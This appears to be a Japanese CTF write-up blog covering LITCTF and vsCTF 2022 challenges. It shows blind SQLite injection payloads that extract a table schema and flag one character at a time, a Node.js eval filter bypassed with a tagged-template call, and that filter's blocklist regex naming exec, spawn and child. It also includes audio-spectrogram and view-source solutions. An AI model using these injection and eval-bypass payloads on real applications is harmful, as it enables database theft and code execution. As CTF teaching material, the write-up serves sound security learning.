指定されたURLへアクセスするとソニック・ザ・ヘッジホッグのエミーの画像が表示される。
ソースコードを確認する。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31770/ 

<html>
  <head>
    <title>Flask Intro - login page</title>
                <style>
                                h1 {text-align: center;}
                                p {text-align: center;}
                                div {text-align: center;}
        h1 { color: #FB4570;}
                                h1 {  font-family: "Apple Chancery" cursive;}

    </style>
  </head>
  <body style="background-color:pink;">
    <div class="container">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
      <h1>hi guys welcome to my website i am ami the dhedghog!!! :3 ( ◡‿◡ *) </h1>
      <br>
                        <style>
                                p { color: #FB4570;}
                                p {  font-family: "Apple Chancery" cursive;}
                        </style>
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <p> ( ◕ᴗ◕✿ ) try to guess my crush!!! (⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄</p>

                        <br>
                        <img src="https://static.wikia.nocookie.net/sonic/images/1/18/TSR_Amy.png" alt = "amy the hedgehog!" height= "200" width = "150">


                        <br>
                        <br>
      <form action="" method="post" >
        <input type="text" placeholder="Guess!!! (⁄ ⁄>⁄ω⁄<⁄ ⁄)⁄" name="name">
        <input type="submit" value="Guess">
      </form>




                        <br>
                                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
    </div>
  </body>
* Connection #0 to host litctf.live left intact
</html>


問題文にあるsqlite3のSQLインジェクションの文字1' or 'a'='a' --を試しに入れると(≧U≦❁) You got it!!! が表示される。


適当なメッセージを入力するとwrong!!! (。•̀ᴗ-)✧が表示される。


つまりBlind SQLインジェクション(≧U≦❁) You got it!!!が表示される条件を検査しながらDB構造を確認する形になる。

以下のSQL文よりDBを構築したsql文は30文字と分かる。

' or ((SELECT length(sql) FROM sqlite_master WHERE type='table' limit 1 offset 0)=30) --


sqlite_masterからsql文を確認するとtable名はnames、カラム名はnameであることが分かる。

' or ((SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' limit 1 offset 0) = hex('C')) --
  ・
  ・

 ↓

CREATE TABLE names (name text)


判明したnamesテーブルの中のnameカラム内のデータは13文字であることが分かる。 中身を同様に1文字ずつ確認するとflagが確認できる。

' or ((SELECT length(name) FROM names)=13) --
' or ((SELECT hex(substr(name,1,1)) FROM names) = hex('L')) --
' or ((SELECT hex(substr(name,2,1)) FROM names) = hex('I')) --
  ・
  ・


flag : LITCTF{sldjf}


Misc

kirby!!!

Stephanie
Kirby is so cool! (Wrap your flag in LITCTF{})

The beginning is very loud so you should turn down your volume.

https://vocaroo.com/12wR27kejDYj

Original song: Green Grounds from Kirby Mass Attack


添付のURLへアクセスするとmp3形式の音楽ファイルをダウンロードできる。
SonicVisualliserでスペクトル分析するとflagが確認できる。

flag : LITCTF{K1RBY1SCOOL!}


感想

  • MURDER MYSTERY zero spaceのコードを見落としていた。残念。
  • EYANGCH Fan Art Maker 3.0 時間切れで解けず。

vsCTF 2022 - Writeup

2022年7月9日, 16:00 UTC - 7月10日, 16:00 UTCに開催されたvsCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問解いたので、以下にWriteupを記載する。

Web

Sanity Check

What does "VS" stand for in vsCTF?

https://challs.viewsource.me/sanity-check/


指定されたURLへアクセスすると添付のようなメッセージが表示される。

Chromeの開発者ツールからソースコードを確認するとコメント化されたflagが確認できる。

flag : vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!}



Baby Eval

Yet another baby challenge…

https://babyeval-twekqonvua-uc.a.run.app/


指定されたURLへアクセスすると以下のソースコードが記載された画面が表示される。

title
View Source CTF
description
Powered by Node.js and Express.js
lastUpdate
2022-02-22T22:22:22.222Z
source
const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});


payloadで指定した文字列をevalで実行する処理が実装されている。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=1
1                                                                                                                                                          


ただし以下のfilter処理で特定の文字列はサニタイズされる。

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));


例.

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=app
<code>app</code><br><code>app</code> 


ソースコードの戻り値からdirectoryを指定するとdirectory関数の結果が表示される。flagはdirectory関数の中にあるので(や"を使わずにdirectory(["flag"])が表現できればいい。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app/?payload=directory
function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}


ここで色々試して directoryflagでflagが表示された。

┌──(root💀kali)-[/ctf]
└─# curl 'https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag`'
<dl><dt>flag</dt><dd><pre>&#118;&#115;&#99;&#116;&#102;&#123;&#114;&#101;&#103;&#69;&#120;&#65;&#105;&#110;&#8217;&#116;&#71;&#111;&#111;&#100;&#69;&#110;&#117;&#102;&#70;&#111;&#114;&#87;&#65;&#70;&#125;</pre></dd></dl> 

flag : vsctf{regExAin’tGoodEnufForWAF}

感想

  • Baby Wasm wasmの解析で力尽きた。他の方のWriteupからChromeMemory Inspectorの使い方が分かったので参考になった。
  • vsCAPTCHA 時間切れで解けず。相変わらずコーディング力不足を痛感した。